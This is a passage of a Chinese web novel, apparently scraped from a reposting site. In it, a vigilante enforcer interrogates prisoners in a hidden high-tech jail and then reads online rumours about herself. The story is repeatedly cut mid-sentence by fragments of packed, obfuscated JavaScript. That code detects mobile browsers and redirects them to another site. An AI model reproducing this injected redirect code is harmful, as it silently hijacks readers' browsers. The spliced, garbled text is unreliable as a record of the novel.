l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17086519|195046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你们竟然洗干净了我的大衣,我险些忘记了它是棕色而不是黑色的!” “我的帐篷,我的被子,我的衣服,还有我的运动鞋,它们简直根新的一样,这太不可思议了……不过我觉得这条破洞牛仔就不是很有必要了,它是真的破了……” 有人欣喜地欢呼,有人哽咽着向她道谢,还有一位女生激动地拥抱了她。 “长官,我相信你是个好人!” “丹尼斯说的都是假的!” 毕竟哪个抓他们来做实验的机构会考虑这样的细节?只有真正一个细心、善良、把他们当作一个鲜活平等的人来看待的人,才会愿意在百忙之中顾及到这样的小事。 丹尼斯听到她的话,突然用力抱紧密封袋里的东西,失声痛哭出来。 他没想到自己真的见到了自己的父亲和母亲,不是在天堂也不是在地狱,而是从一个他以为的“恶魔”手里接过了它。 对方明明看起来那么冷漠,却没有在意他的粗鄙和冒犯,将他最珍贵的东西还给了他。 他想就算这也是研究的一环,他也会配合这次实验的。 但更令他错愕的事情发生了。 在他们在机器人的引导下来到生理脱毒区的时候,有几个人从里面走了出来。 他们看来比正常人虚弱,身体消瘦,像是生过一场大病,但凹陷的眼窝里那双眼睛确实闪闪发光的,神情还带着一些如至梦境的恍惚。 有个人和丹尼斯打招呼,“嘿!朋友,这里是天堂吗?难以置信,我竟然还能认出你来!” 丹尼斯比他更加难以置信。 这个人是以前睡在他旁边的流浪汉,对方已经有十几年的吸|毒史了,毒|瘾比他严重百倍,大多数时候都都像行尸走肉一样神志不清,很少能说上一句完整话,还经常把他当成一根法棍。 另外几也是一样的,都是被药物残害得几乎奄奄一息的人。 昨天机器人将他们带走后就一直没有送回来,丹尼斯还以为是这些人实验价值太低,被送去解剖了,没想到居然在这时候又看见了他们。 还是一副健康正常的样子! 这到底是怎么做到的?世界上真的有这么神奇的事吗?他现在是不是又出现幻觉了?就像卖火柴的小女孩一样? 或许再过一会儿,他还能见到他死去的父亲和母亲? 肩膀被流浪汉朋友拍了怕之后,丹尼斯的神情也开始变得有些恍惚了。 直到机器人将他安置在一个和科普动画里一样的仪器上,并将大管血清注射进他的血管,他这才回过神来。 但这一次他只是怔怔地看了一眼针管,或许是药剂里有助眠成分,或许是因为别的什么,他面对这样可怕的场景,竟然逐渐昏昏欲睡,直到最后都没有反抗。 也许这一次,幸运真的降临在他头上了呢…… 明安只负责发东西,顺便看看他们的状态怎么样,剩下的事就没去管了。 此时埃米和达科塔等人已经入狱审查完毕,她当即决定过去,结果这时一个巡逻机器人突然告诉她:罪犯罗伯逊对判决结果提出了质疑。 他决定上诉,并要求见这里的负责人和自己的辩护律师,否则就要告她非法拘禁。 而且他还暗示,他和一位州级庭审法官是至交好友,劝她谨言慎行,不要做出会把自己送进监狱的事。 “……” 明安的神情一言难尽。 颠公,他把这里当成什么了? 24. 第 24 章 罗伯逊一睁眼就意识到自己现在正身处于一个陌生的地方,而不是原来的家中。 但短暂的惊慌之后,他心中很快就涌起一股欣喜。 他想起昏迷前发生的事,他还以为自己已经死了,没想到却能安然无恙的醒过来。 或许也不算是安然无恙,因为他的头和被踹下楼梯时造成的伤口还疼着,只是被简单得包扎了一下,但这也足够说明那个神秘类人生物不打算杀死他,甚至是不能杀死他。 因为当时明显感受到对方的情绪是愤怒的,而且他还在自己的监房里发现了一封判决书。 有判决就有程序正义,有程序正义就能上诉,能上诉就能胜诉,能胜诉就代表他可以从这里出去。 既然能出去他还有什么可担忧的呢? 他看着那封判决书上的“蓝星人民法院”印章,戏谑地笑了一声,便将其随意丢在桌上。 这不就是之前闹得沸沸扬扬的第三大街流浪汉消失案吗?这个组织叫什么来着?蓝星人民法院? 联合国都不敢跑到山姆国来随意抓人,蓝星哪有这么高级别的法院? 就算有也不是什么正规的机构,估计是某些地下团伙私设的。 到底是这群人自己喜欢多管闲事呢,还是他愚蠢的妻子凯瑟琳收买了他们? 当然,这些都不重要,没有得到联邦承认的法院没有任何法律效力,这封所谓的判决书不过是小孩子过家家。 等哪天他出去了,这些人估计还得祈祷他网开一面不要起诉他们…… 罗伯逊这样想着,心中最后一丝不安也散去了,还有闲情逸致观察周围的陈设。 他发现这里的环境比大多数高档监狱都要好很多,而且风格独特,看来组织者是一个科幻爱好者,还有一定的资产。 想来能支付得起给他的赔偿,看来算得上是一个好消息。 这时门外传来脚步声。 罗伯逊顿了顿,稍微端正了一下坐姿。 他想即便对方的行为很幼稚,自己目前还处于寄人篱下的状况时,或许也应该给对方一点面子。 嘀的一声,房门被刷开了。 罗伯逊下意识看过去,顿时露出了惊讶的神色,但很快又了然。 这就是昨晚突然非法入室对他实施了殴打行为的类人生物,现在仔细一看,他意识到对方可能真的是人,只是穿了一身特别都制服而已。 罗伯逊不计前嫌地露出笑容,还站起来伸出手,“你好,这位朋友,很高兴见到你,请问你的名字是什么?属于哪个族裔?信仰什么宗教?” 明安面无表情地在门口双手环抱,她倒要看看这个颠公到底想做什么。 罗伯逊没有得到回应也一点都不尴尬,自然地把手收回去,做了一个请坐的姿势,然后说:“我明白,我想我们之间一定是有什么误会,或许是你的内心充满正义,也或许是你被凯瑟琳那个女人蒙骗了……” “哦,别这样看着我,我当然相信你是智慧的。” “但有时候人看到事物不一定能代表全部真相,就像女人在晚上说的话也不一定是真的一样,我向你保证我绝对没有犯下那封判决上的那些罪名……” “至于昨天晚上的事,你要知道任何人做错了事都要接受惩罚,我每天上班已经很累了,而我的妻子凯瑟琳她愿意为自己的过错付出代价,她喜欢这样,你要相信我……” 或许是明安太高了,揍人的时候又是那样的孔武有力,罗伯逊下意识把她当成了男性,说话时带着些心照不宣地挤眉弄眼。 他还摸了摸自己的手腕,似乎想将上面的腕表摘下来递给她。 可惜摸空了,只得露出一副遗憾的神色,“真可惜,看来我的伯爵遗失了,它可是价值十万美金,不知道哪个幸运的人能捡到它……” 说到这里的时候罗伯逊故意停顿一下,显然认为是明安拿走了,也没有揭穿,只是露出意味深长的笑容,“坐下来吧朋友,我们好好聊一聊,这样的名牌表我还有很多,凯瑟琳可不知道在哪里。” 很好,看来这颠公不止家|暴,还转移财产。 他让凯瑟琳教授一个人支付家庭开支,自己拿钱去买表和贿赂上司。 明安微笑,摘下了自己的面罩,“是该好好聊一聊了,罗伯逊先生。” “说吧,它们在哪里。” 罗伯逊游刃有余的精英白男的脸瞬间破碎,简直像是天崩地裂一样,他不敢置信地看着她,“你——怎么会是你?!” 抓走他的人怎么会是一个普通的东州留学生?而且刚好就是明安! 她明明连学费都支付不起! 明安拉开一张椅子坐下,让巡逻机器人给他戴上了测谎仪,“这很值得意外吗?罗伯逊先生,我不是早就跟你说我我还会来找你,你完全没有听进去?” 罗伯逊说不出话来,他整个人都是一副大受打击的样子。 他怎么没有听进去,只是他以为她当时是在耍威风或者计划勒索他的钱!哪里想得到她居然计划着把他抓到这里来! 不,这是有迹可循的,她做的一切都是有预谋的!这场猎杀从她进入他的办公室的时候就开始了! 罗伯逊死死地盯着她身上的制服,上面滚烫赤红的图案让他头晕目眩,蓝星人民法院居然是这样一个组织。 紧接着他又想起刚刚门打开时瞥见的场景,这显然不是普通拘禁场所该有的规模,她也显然不是一个普通的东州留学生! 即便他再怎么不愿相信,可事实就是告诉他面前的人很可能是一个富有、疯狂、而且擅长伪装的恐|怖|分|子! 而且他早就已经激怒了她! 罗伯逊终于感到了恐慌和危机感,奋力挣扎起来,“不!你们不能这么做!” “我是受到联邦法律庇护的纳税公民!只有联邦的法庭能够审判我!你们这么做是违法的!这是侵犯他国主权的!” “你们想挑起世界大战吗!” 明安气笑了,就他还想当世界大战的导火索?多久没上过称了?都不知道自己几斤几两了? 索性巡逻机器人还递给了她一份资料,里面正是罗伯逊入狱审讯的结果。 或许是他犯的罪里包括违反婚姻法的,在大数据的讯问下,还真就问到了他关于财产转移的问题,而以罗伯逊欺软怕硬的心性,也毫不意外地吐得干干净净。 “在你用来约会情人的另一套房产里是吧?行,我会告诉你的前妻凯瑟琳教授的。” “顺便提醒她发起离婚诉讼。” 明安浑不在意他的反应,翻了翻资料,似笑非笑看着他,“至于你提出的上诉请求,很抱歉,二审维持原判。” 这样说着,她将二审判决书也放在了桌上,可谓是给足了面子。 程序正义?这当然是有的,011足够公正,在他提出这个要求的时候就自动进入了二审流程。 但它的数据库里涵盖东州乃至蓝星步入现代以来几百年的司法案例,还会将资料传回总部也就是蓝星人民法院进行最终定夺。 在证据确凿的情况下,几乎很难有误判的情况,他闹这一出除了给011增加工作量什么也做不到。 而且提起上诉的机会只有一次,他已经将它浪费掉了,以后想闹也没办法闹了。 罗伯逊在机器人面前毫无反抗之力,挣扎得面红耳赤,最后还是不得不被禁锢在了椅子上,听到她的话顿时露出了绝望,嗓音甚至带上了哀求和哽咽,“不!你不能这么做!” “凯瑟琳是我的妻子,我们是在教堂发过誓的!神父听见了我们的承诺,我们是要永远在一起的!你不能拆散我们!” “求求你,我不能失去她!” 滴,测谎仪亮了绿灯,表示他现在说的话是发自内心的。 他终于意识到这里不是山姆国的拘留室,不是给钱就能解决一切的地方。 而自己除了凯瑟琳什么都没有了。 这里的科技发达得令人恐惧,就像是被发射到了外太空,或许直到死亡都不会有人知道他去了哪里。 只有凯瑟琳作为金融学院的课程老师,和明安关系密切,才有可能发现蛛丝马迹乃至拯救他。 如果失去了凯瑟琳,他就真的再也没有出去的希望了…… 但明安只觉得他是个梅开二度的笑柄,没事家|暴妻子,有事亲爱的救我,他怎么不想想正常人能搭理他吗? 她要是凯瑟琳,她估计都已经开始给他准备葬礼了。 明安很快就失去了沟通的欲望,而这本身也没有什么价值。 不顾罗伯逊的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“我爸爸是律师!他一定会救我出去的!让你们的老大过来见我!” “如果让我的父亲和母亲知道你们对我做了什么,他们一定会把这里砸得稀巴烂的!” 最后这句话是埃米说的,他还不知道自己父母也进来了。 明安收起审讯资料,抬手在控制面板上打开他对面两个监房的门,淡淡地示意,“好了,他们现在知道了,你还有什么话要说吗?” 埃米的声音戛然而止,六目相对,他的瞳孔逐渐放大。 不知道是在震惊在居然在这个地方看到了她,还是在为一家团圆而感到“喜悦”。 他只记得在达科塔要杀死他的时候,一个穿着黑色制服、还带着共产主义标志的人出现阻止了他们,紧接着他就昏倒了,醒来就发现自己来到了这个地方。 但经历最初的惊慌之后,埃米很快就平静了下来。 因为根据周围的一些标志,他意识到这是一个规范化的社会主义监狱系统,不会随便对他做什么。 而且他在网上刷到过很多关于东州警察执法的视频,他们对市民一向宽容,绝对不会突然给他一电棒,更不会莫名其妙崩了他。 可怎么会是明安?怎么会是她—— 埃米多么希望自己看到的是幻觉。 但明安的话彻底打碎了他的希望,“听说你们有人想见这里的老大,虽然这个称呼很不专业也很不正式,但我来了,如果有什么想说的就一次性说完吧。” 所有人瞬间安静如鸡。 如果现在我们说不想见了,您能当没来过吗? 埃米的几个校霸朋友顿时欲哭无泪,他们悔不当初,早知道就不要听这个衰仔的话去赚什么大钱了,老实本分地在学校做着自己的小生意难道不舒服吗? 现在好了,大钱没赚到,银手镯倒是赚得够够的…… 谁能想到想绑人绑到了真条子? 寂静良久之后,埃米的父亲安德森先生似乎终于承受不住这样压抑的气氛了。 他出声打破了僵局,小心翼翼地举手,“其实也没什么问题,尊敬的长官,只是我还有一点小小的疑问,您不回答也没关系,就是……你会给我们饭吃吗?我吃得不是很多……” “……” 明安还没有给出回复,他的妻子安德森太太就已经气坏了,“闭嘴!你这个愚蠢的猪头!你应该问她能不能放我们出去!而且你吃得还不够多吗?!” 安德森先生不吭声了,他不敢问。 他觉得这个问题比他的还蠢…… 25. 第 25 章 安德森夫妇和埃米整个就是悔不当初,如果早知道她背地里在干这种“大事业”,他们一定不会将她赶出家门的。 别说是什么被父亲遗弃了,就是她想当他们的父亲,他们也会任劳任怨地供着她的。 可惜现在说什么都晚了…… 校霸们也不敢闹了,即便东州警察广受赞誉,但他们没有失智到用自己的人身安危去挑战明安的职业素养。 而且她看着也不像有正经编制的正规军,这真的能遵纪守法吗……? 至于以后能不能出去,只能全看真主和上帝的意思了。 半天没人敢吱声,埃米母亲憋了半天,终于在明安临走时才最后憋出一个问题,“……明女士,对之前发生的事我深感抱歉,但或许、可能、我们应该……没有杀人……当然,您拥有最终解释权。” 说完这句话,她似乎也觉得自己再做无用功,泄气地闭嘴了。 他们看过判决书,里面最醒目的罪名是“过失致人死亡”。 可他们也就对明安一个人犯过罪,现在她不是还活得好好的吗?怎么能算致人死亡? 当然,现在他们受制于人,怎么“判”不还是她说了算? 就算她说他们毁灭过银河系,他们也只能认罪…… 听到她的话,明安停下了脚步,所有人都不由自主地屏住了呼吸。 片刻后,她笑了笑,情绪却有些琢磨不透,“安德森太太,你和明女士也相处了快三年,应该很熟悉彼此才对……” “你觉得我像她吗?” 这个问题太奇怪了,她不就是“明女士”本人吗? 同一个人怎么能说像不像? 可看着眼前身着黑色制服的人漠然而陌生的眼神,安德森太太张了张嘴,竟开始感到一阵毛骨悚然,她的嘴唇在颤抖,不由自主地往后退了几步,和明安拉开距离,看她的眼神像是看到了来自地狱的亡灵。 “不、你、你不是——” 那个东州来的留学生明安是个很天真友善的人,不会用这种眼神看着她! 天啊,她怎么现在才意识到这一点! 其他人也被这一幕吓傻了,再也不敢发出一丝声响。 现在害怕有什么用呢,人早就已经不在了。 明安平静地看着他们,和他们记忆中一模一样的声音却有着截然不同的冰冷质感,“判决没有错,在这里好好改造吧,真主和上帝管不着这里,也没人会来救你们。” 说罢她便抬步离开了。 埃米一家脸色苍白地瘫软在地,仿佛经历了什么极其恐怖的事情。 …… 接下来明安要去见一面最开始在第三大街试图对她下手的通缉犯。 上次她想审问对方,对方一副拒不配合的样子,她只好暂时作罢。 但还她不打算放弃,因为这个人和买卖双方对接,一定知道些什么。 不过出乎意料的是,她发现对方这次居然老实了很多,而且看她的眼神多了一些惊疑和不安,像是终于意识到了自己的处境。 明安淡淡地扫了人一样,一副非常有经验且很有逼格的样子,翻着资料若有所指地问:“在疑惑我为什么可以‘逍遥法外’这么久,而没有被警察抓捕?” “Whoareyou?!” 通缉犯警惕地看着她,他可以肯定这绝对不是他一开始要下手的目标,即便她们拥有一模一样的声音和面容! 可如果不是的话,这一切又是怎么回事? 这里到底是什么地方,他为什么会来到这里,她又在其中扮演着什么角色,有着什么目的,又想对这个国家做什么?! 还有这座监狱的规模看起来如此庞大,设施齐全,这样的一个地方怎么可能在西雅图完全隐藏?她到底是怎么做到的? 他原本想着或许在他吐出她想要的东西之前,她是不会杀他的,而他口中的消息也足够重要。 然而这里的情况却完全不是他预料中的那样,在从他这里被拒绝之后,她竟然直接走了! 接下来没人拷打他,也没人威胁他,更没有人试图用利益诱惑他,所有他以为要经历的考验全都不存在。 唯一令他不安的只有头上那个测谎仪,他安慰自己那东西不管用,钻空子的方法多得是。 以前在服役的时候他还操作过这玩意儿,里面的水分有多少他最清楚。 可那盏时红时绿的灯令他胆战心惊,海量而富有技巧的问题也令他难以招架,就连沉默都会暴露一些什么。 这些人到底是一个怎样的组织,他不记得联邦已经拥有了这样的技术…… 明安看完他的审讯资料也表示困惑,这人反侦察能力还挺强,旁敲侧击问了很多问题才问出些许蛛丝马迹,但也都只是佐证。 所以埃米是怎么从他嘴里套出话来的? 那小子真是米利坚魅魔?还是说根本就是他胡说八道的? 不过这对案情倒不是很重要,见测谎仪还戴在这名通缉犯身上,明安索性拿刚得到的线索直接试探,“幕后主使是芬太生物?” “不……” 通缉犯下意识否认,但嘀的一声亮起的红灯已经给了明安答案。 好家伙,还真让左凌那姐们蒙对了。 不过这公司名字看着就不正常,跟让无数山姆国人饱受折磨的成|瘾性止痛药物芬|太尼查重率100%,在剧里高低是个大反派。 而且她觉得这种机构在这个国家可能遍地都是,随便指一个估计都能有惊喜…… 明安又问:“死人五万,活人十万,这是他们给你开的价格?” “你怎么——” 通缉犯匪夷所思地看着她,但很快就意识到她是从哪里得到了这些信息,脸上露出了烦躁的情绪。 明安却不管他有什么想法,她心想自己居然真这么便宜,还是说芬太自己吃太多了? 她定了定神,继续问:“按照埃米一家的生活轨迹,他们很难因为主动或意外和你产生接触,所以是你主动去联系他们的?” 怎么看埃米一家都只是那种有点小聪明的普通人,按理来说不应该有机会接触这种“专业人士”。 而原主生父梁诚为了撇清自己的嫌疑,也只是说了一些暗示性的话,并没有将具体的联系方式直接给他们,那样太傻了。 所以只有一个可能:他才是主动方。 这个问题非常重要,如果这名通缉犯是主动的,就说明他或者他的雇主事先就知道她这个“货”存在,时机到了便出手。 如果不是主动的……这已经无法说服明安了。 通缉犯见她已经自己得到答案,彻底泄气了,“嘿!你到底是什么魔鬼!” “是的!你猜对了!确实是我主动联系他们的!这是我从雇主手里拿到的消息,他们早就知道你的存在了,知道你有心脏病,也知道你马上就会面临生存困境。” “我本以为在你心脏病发作的时候把你带走就可以了,没想到你又活了……” 说到这里,他遗憾地叹了口气。 可明安蹙了蹙眉,觉得还有很多疑点没有理清,“都干这种勾当了你们还在意我是不是快死了?不是现点现抓吗?” “你这是什么话?!” 通缉犯无语地看着她,像是不理解她的智商怎么忽上忽下,居然会问出这么愚蠢的问题来,“这里是山姆国没有错,但你们东州的大使馆也不是吃素的!而且你又不是非法移民,我们怎么能这么明目张胆地抓你?!” “……” 道理是这个道理,但明安更加无语,“那你不还是抓了吗?这又有什么区别?” 在一个人快死的时候杀人就不算杀人了?大米利坚还有这种逻辑? 通缉犯看出她是真不明白了,扯了扯嘴角吐槽一句“天真的社会主义巨婴”,然后意味深长地耸肩,“怎么会没有区别?捕杀活人是违法的,但将被捐赠的遗体作为科研用途却没有任何问题,更何况你不是自愿的吗?” 明安面色微变,下意识想开口,但很快就意识到了什么。 通缉犯幽幽地道:“你入关的时候不是勾选了donor(器官捐献者)协议?那么我们带走你还有什么问题?” 这个协议一经签订,她的信息就会进入系统,任何人知道她的近况都不奇怪,毕竟这样才能及时取得自己的“赠品”。 至于合不合法…… 总归她是有遗传性心脏病的,虽说身体状态不是很完美,但死亡报告可是相当好做,敷衍东州外交部是足够了。 所以他就是个跑腿的,顺便负责清扫证据,芬太生物给他开的价格不少了,很公道。 明安匪夷所思,听完他的话她立刻翻出自己的RealID和驾驶证,果然在背面看到了一个红心标志和“DONOR”字样! 不是吧?真“自愿”了?35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17098952|195046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 就这样悄无声息地“自愿”了??? 她难得骂了声脏话,这是办理这些证件的时候系统自动勾选的,天真善良的原主根本就没有多想。 而且她在国内也早就签了遗体捐赠协议,活到那么大一点问题都没有! 结果到这儿就成了“合法杀人证”?? 明安的火气直往上冒,立刻找了把工具把这些证件剪了,她不反对遗体捐赠,大体老师的无私贡献对医疗进步有着至关重要的作用,挽救了无数人的生命。 但就算她真的捐了遗体,也应该捐给自己的国家!而不是在异国他乡捐给资本家去赚钱! 大米利坚真是让她大开眼界! 得到答案后,明安直径离开,然而这时通缉犯却突然叫住了她。 “等一下!” 明安停下脚步,在她不解的目光中,通缉犯像是在犹豫什么,脸上带着懊悔和咬牙切齿,最终他还是忍不住问:“……你将埃米?安德森也抓进来了对吗?他现在怎么样了?” 明安:……? 大米利坚真是让她大开眼界! …… 明安感觉自己的耳朵脏了,心也脏了!这个国家的“能人异士”真的太多了,生活简直处处都是佛罗里达,每一个都在肆无忌惮地考验她的接受能力! 这一趟下来,她感觉自己比晚上抓了一百个人还累! 路过知会佐伊一声目前米亚失踪案的进展后,剩下的黑|帮成员达科塔等人还在接受审讯,明安就没有去看了。 她需要立刻前往DMV(车管局)等机构重新补办她的驾驶证和州身份证,不把那个钩子消了,她在这片土地上一秒都不能安心! 011将晚餐用保温盒打包好,放进她的背包里,递给她,“执法者,上学愉快,祝您拥有美好的一天。” 明安觉得不太美好,但接过沉甸甸的背包时隐约闻到它身上的饭菜香,她还是有些诧异,“你又单独给我做了中餐吗?会不会太麻烦了?” 她还以为启动了厨师机器人之后,011就不干这个活儿了。 结果它居然还记得给她开小灶! 011:“今天做得是红烧肉和菠菜汤,希望您和您的朋友能喜欢。” 其实它本来也不打算天天做的。 上次只是因为给服刑人员做完鸡肉三明治后还剩下很多边角料,它打算处理掉它们,顺便给新来的人类同事留下一个好印象。 结果那天下午她和左凌夸得太大声了,让它终于明白为什么现代人类会那么注重情绪价值。 “谢谢你!我们一定好好吃!” 明安立刻对晚饭时间的到来产生了期待,郁闷的心情也一扫而空。 她高高兴兴地离开了空间监狱。 空间监狱进入的地点和出去的地点是重合的,她一般都会选择比较隐蔽的、没有监控的角落。 而且在监狱里面闭上眼睛也能“看到”外面的情况,出入倒是非常方便。 现在她余额还算充裕,便奢侈地打了一辆Uber,前往网上推荐说人少的车管局。 上车后,她和司机简单交流了几句,便拿出手机刷TikTok。 而司机的收音机也正播放着今天的新闻,“KUOW普吉特海湾公共广播电台为您播报今天的午间新闻,据悉,前日令市中心第三大街无家可归者集体消失的神秘组织‘蓝星人民法院’再度现身西雅图。” “这一次,他们不仅带走了数十名无家可归者,还非法逮捕了华盛顿大学西雅图分校的高级财务顾问罗伯逊先生、四位普通学生、无辜公民安德森夫妇,还有剥头皮帮派的重要成员达科塔等人。” “该神秘组织分别指控他们犯下了性||侵、家||暴、校园霸||凌、贩卖||毒||品、过失致人死亡,以及组织□□等诸多罪名,宣称要判处他们无期徒刑,更多进展期待警方向我们透露……” “此外,‘剥头皮帮’首领当众放话:达科塔是他重要的家人,不管是什么人抓走了他,剥头皮帮都会令其付出无比惨痛的代价……” 紧接着便播放了一条音频,正是那位帮派首领的原话。 他的语气非常愤怒,大量消音词里包含少量内容,其中还夹带几声枪响,可以看出主持人已经提炼得非常委婉了。 明安:…… 剥什么皮……?这能播? 这帮派名字是认真的吗??? 26. 第 26 章 极其血腥暴力的名字,非常符合底层小型帮派的刻板印象。 明安反正是不怎么害怕,她还期待达科塔的审讯结果呢,等问出了他们老巢的位置,她马上去干票大的。 这时收音机中断,里面说插播一条警方的寻人启事,司机似乎觉得没意思,直接换台了。 明安也没有继续听,西雅图时报和KUOW电台这种大媒体报道的内容还稍微克制一点,互联网上的小道消息就百无禁忌了。 她稍微往下一滑,就看到一条#东州将取代我们成为新的世界警察!!!#的劲爆标题。 视频里的博主语气十分激动。 “是的!你没有看错!” “他们一定是想这么做!” “我们的目击者苏珊说,她亲眼看到一个从东方飞来的UFO停留在安德森一家的房子上空,里面下来了很多穿着制服的东州警察,他们抓了人就飞走了,还顺便扶了一下摔倒的她!” “据她推测,现在东州的科技已经发展到了一个令人无法想象的地步,他们在月球上种菜、造飞船、搭建监狱、计划展开人类垃圾清除计划!要将所有罪犯都送去太空服刑!让蓝星变得更美好!这就是警察一直没有找到他们的原因!” “而与此同时,我们的宇航员却被困太空286天,在他好不容易回来的时候,还发现自己的房子因为错过了纳税期限已被州政府拍卖!*” “上帝啊!这样的山姆国还能再次伟大吗?我们该怎么战胜东州!” “……” 明安大受震撼,虽然早就知道那位苏珊老太太特别能叭叭,但瞎编到这种程度还是太过分了吧? 还好米国网友并不买账。 【不要再传播谣言了!那个苏珊一看就是得了阿兹海默症的老人,说的一切都很虚假!罗伯逊的前妻凯瑟琳才是真正的目击者! 她已经向警方描述了当晚的情况,确实有这样一个正义的组织,但没有你们想的那么恐怖,那些人只是想要带走犯罪者。 她还表示自己非常感激‘蓝星人民法院’,关于罗伯逊的罪名都是真的,是这个组织的执法者拯救了她,并且她正在起诉离婚。】 【天哪,所以他真的侵犯了那么多人,还伤害了自己的妻子。】 【没有错,现在不止凯瑟琳教授当众指控他,uw大学的其他学生也有站出来揭发他的,她们说他利用职务之便,用学业来威胁她们!】 【有一个女孩也向警方表示,自己被剥头皮帮绑架了,是蓝星人民法院的执法者救了她,对方看起来是个女性!】 【她们甚至可能还会将流落在外的尸体保存起来,送回给他们的家人!】 【我邻居家的失踪的儿子比尔就是这样突然出现在家门口,我怀疑就是她们做的,除此之外没有人会免费把他送回来!】 【哦天哪,这可不多见,收尸又脏又累,她们就这样放弃了大赚一笔的机会?】 【这么说这个神秘组织真的是好人?她们只想逮捕罪犯、解救可怜的受害者、维护社会治安,甚至进行一些人道主义的慰问?】 【可是东州为什么要这么做?这有什么好处?难道他们真的想像救世主一样来拯救米国人?】 【不!我们很好!我们不需要拯救!罪犯我们自己会抓!不需要别的国家的人插手!他们只是想入侵我们的国家!】 【现在还不能肯定是东州做的吧?他们的外交部一直在否认,说绝对无意抢占我们“世界警察”的位置,而且我想让山姆国变得更好对他们来说并没有好处。】 【是的,这东西没什么好抢的……】 【请你们不要再夸大东州的强大了!我们的国防部也不是弱小的婴儿!飞进来一个气球都会被击落,他们不可能悄无声息地降临这片土地!更不可能开着UFO过来!】 【好好想想吧呆瓜们,东州要是真的有这样的实力,为什么不直接去白宫逮捕总统呢?这样不就能统治山姆国了? 他们难道还找不出一个合适的罪名吗?光发动战争这一条就足够关他一亿年了……】 【哦,我差点忘了,逮捕他国总统是我们的传统,他们可能没有这方面的经验。】 【我认为东州还是有这样的实力的,或许你们看过他们的阅兵仪式。不过我想我们这里石油太少,或者说不太适合种地,所以他们才不打算这么做?doge】 【或许在他们眼里我们比月球还要贫瘠,毕竟这里充斥着暴力和毒||品……】 【所以他们根本不可能打过来吗?[叹气]IP:纽约】 【?bro,你在失望什么?】 【所以还是像之前那些专家猜测的一样,这只是一个我们本土的神秘组织,只不过她们有一颗正义的心并喜欢中文而已。】 【难道是米共?你们知道的,这在我们国家也存在,而且诞生得比东州还要早。】 【你想得太美好了……那里早就成了CIA和FBI的钓鱼场,没有几个是真的共产主义者……】 【是的,他们简直像蚊子一样真是无孔不入。[失望][失望][失望]】 【不管是什么,快来拯救我吧,这两天PD又缺业绩了,我只是好奇地在安德森一家门口围观了一会儿,他们就将我逮捕了,害我失去了工作,下周的房租都要交不上了……】 【哦我的朋友,我非常同情你……但你让非正规组织去逮捕山姆国警察?】 【好吧,这确实很不合理,毕竟这样的话她们要逮捕的人就太多了,可能会给月球的生态系统带来负担。】 “……?” 不合理的地方何止这一点! 明安的沉默再次震耳欲聋,她觉得本地公民对她的期望是不是太高了? 她只是一个天天上夜班的悲惨社畜,抓几个帮派分子都要赊账,他们居然指望她开着飞船将领白宫、逮捕总统、和真警察对着干??? 她只是外国人,不是外星人! 荒谬,真的太荒谬了…… 明安简直没眼看,不忍直视地划向了下一个视频。 接下来就正常多了,是个绘画视频。 只不过要画的人好像是她? 现在已经有人亲眼见过她,但还没有拍摄到具体影相,所以网友只能根据几位目击者的描述来推测传说中的“执法者”长什么样子。 这件事相关流量还不小,她已经拥有了一个几百万关注度的词条:#蓝星执法者#。 明安心情古怪,但还是好奇地点了进去。 第一个视频里的没有露脸的画师一边画一边说: “结合三位目击者描述,目前这位蓝星执法者有以下几个特征:一、皮肤为黑色,二、性别为雌性,三、具有超越常人的力量,四、疑似是共产主义理念的拥护者,五、威严但仁慈的人类守护者……” 弹幕:【?内容倒是没有错,但为什么总觉得哪里不对?】 明安也是这样想的,皮肤还可以理解为游戏术语,但雌性这种说法感觉不像是用来形容人的……不过仔细一想人也是动物,不能说完全不对。 而且画师总结得还挺拉风,应该会把她画得很帅。 紧接着她就看到屏幕上的画面一闪,寥寥几笔的草稿瞬间成形—— 高举赤旗的怪物魔斯拉! 明安:“……”什么鬼。 合着还真没有把她当人画?? 【LOL,你一定是故意的,这和目击者描述的内容毫无关系!】 【我被你欺骗了!你根本就是在乱画!】 【哈哈哈哈哈哈哈哈哈哈哈哈哈,你成功逗我笑了出来。[笑哭]】 【如果她是魔斯拉,那么哥斯拉在哪里,他也降临美洲大陆了吗?】 【[警告][警告][警告],你涉嫌侵犯他人肖像权,小心执法者出现在你家里,把你也抓去月球监狱!】 【不不不,没有证据证明博主画错了,毕竟也没有证据证明执法者一定是人类,他们只是说她长得像人类,但也许是他们看错了呢?】35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17104136|195046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 【没错!没有画成人的义务!】(IP:东州大陆) ……好好好,搞抽象是吧? 明安点了个踩,无语地刷走。 然而下一位画师又说:“她的外形极具科幻色彩,疑似来自外星球,行动极其灵活,有着很强的防御能力,独自面对枪林弹雨依然毫发无损,连黑||帮都无法战胜她,所以她是——” “异形女王!” 【。。。】 【又浪费我十秒钟……】 【够了,你这样真的会激怒她的!】 【我要向蓝星人民法院举报你![愤怒][愤怒][愤怒]】 【至少看着有一点人样了,我觉得已经很接近了,但如果你能再认真一点就好了】 